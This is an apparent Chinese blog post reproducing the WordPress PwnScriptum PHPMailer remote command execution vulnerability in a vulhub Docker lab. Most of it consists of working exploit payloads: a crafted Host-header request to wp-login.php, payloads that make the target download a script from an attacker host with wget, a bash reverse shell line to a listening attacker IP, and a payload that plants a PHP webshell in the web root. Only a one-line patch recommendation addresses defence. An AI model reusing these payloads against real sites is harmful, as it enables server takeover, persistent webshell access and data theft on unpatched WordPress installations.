Wordpress任意命令执行漏洞 PwnScriptum

1.漏洞描述&环境搭建

WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(本 <5,2.18)存在远程命令执行漏洞,攻击者只需巧炒地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危書。

注意点⚠️:命令只在服务器端执行命令、不会显示在容户端

环境搭建:使用vulhub结合docker,切换到wordpress到PwnScriptum下,运行:

docker-compose up -d

记得初始化安装一下

2.漏洞复现

受影响版本:WordPress <= 4.6 PHPMailer < 5.2.18

发送如下数据包,可见/tmp/success_poc已经成功创建:

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success_poc}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded

wp-submit=Get+New+Password&redirect_to=&user_login=huluwa

但实际利用起来,还是有一些坑需要踏过。具体的坑有这么几个:

  1. 执行的命令不能包含大量特殊字符,如:、引号等。
  2. 命令会被转换成小写字母
  3. 命令需要使用绝对路径
  4. 需要知道某一个存在的用户的用户名

为了解决这些坑,漏洞作者想出了,利用${substr{0}{1}{$spool_directory}}代替/,用${substr{10}{1}{$tod_log}}代替空格的方法。

但是还是有很多字符不能用,所以我们需要将待执行的命令放到第三方网站中,然后通过curl -o /tmp/rce example.com/shell.sh的方法先将他下载到/tmp目录中,再去执行。

反弹Shell:

利用的思想跟写入文件差不多,是先使用curl或wget下载含有执行命令内容的文件,再通过命令执行达到反弹shell的目的。

  1. 发送payload使靶机下载1.txt,并保存到/tmp/shell
  2. 在攻击机上监听9999端口
  3. 发送payload使靶机运行shell

将bash -i >& /dev/tcp/10.211.55.5/9999 0>&1写入到攻击机1.txt中。

发送payload,下载1.txt到靶机/tmp/fanshell。

payload:

payload:aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}fanshell${substr{10}{1}{$tod_log}}10.211.55.3${substr{0}{1}{$spool_directory}}1.txt}}null)

攻击端监听9999端口。

发送payload运行shell:

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}fanshell}} null)

webshell再用工具连接:

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}huluwas.php${substr{10}{1}{$tod_log}}10.211.55.3${substr{0}{1}{$spool_directory}}1.txt}} null)

上面的payload意思是:从10.211.55.3这个地址,下载1.txt,保存到靶机的/var/www/html下,并命名为huluwa.php。

3.修复建议

更新wordpress、phpmailer到最新版本


坑点总结:我们启动服务的时候要用默认的80端口启动服务才能顺利把文件加载。

posted @ 2023-06-28 16:28  Arrest  阅读(200)  评论(0编辑  收藏  举报